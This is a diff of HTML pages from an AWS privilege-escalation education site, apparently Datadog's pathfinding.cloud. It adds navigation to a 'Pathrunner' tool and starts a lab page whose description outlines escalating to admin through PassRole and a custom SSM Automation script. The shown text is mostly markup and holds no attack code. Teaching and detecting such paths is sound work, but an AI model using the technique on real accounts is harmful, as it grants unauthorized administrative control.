+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ssm-002-to-bucket/index.html b/docs/labs/ssm-002-to-bucket/index.html
index b0d7c059..37e949dc 100644
--- a/docs/labs/ssm-002-to-bucket/index.html
+++ b/docs/labs/ssm-002-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ssm-002/index.html b/docs/labs/ssm-002/index.html
index 0e3b9925..eaacf060 100644
--- a/docs/labs/ssm-002/index.html
+++ b/docs/labs/ssm-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ssm-003/index.html b/docs/labs/ssm-003/index.html
new file mode 100644
index 00000000..e7533d24
--- /dev/null
+++ b/docs/labs/ssm-003/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>PassRole + SSM Automation ExecuteScript to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Create a custom SSM Automation document with a Python aws:executeScript step and start execution with an admin role as AutomationAssumeRole to attach AdministratorAccess to the starting user">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/ssm-003/">
+    <meta property="og:title" content="PassRole + SSM Automation ExecuteScript to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Create a custom SSM Automation document with a Python aws:executeScript step and start execution with an admin role as AutomationAssumeRole to attach AdministratorAccess to the starting user">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="PassRole + SSM Automation ExecuteScript to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Create a custom SSM Automation document with a Python aws:executeScript step and start execution with an admin role as AutomationAssumeRole to attach AdministratorAccess to the starting user">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
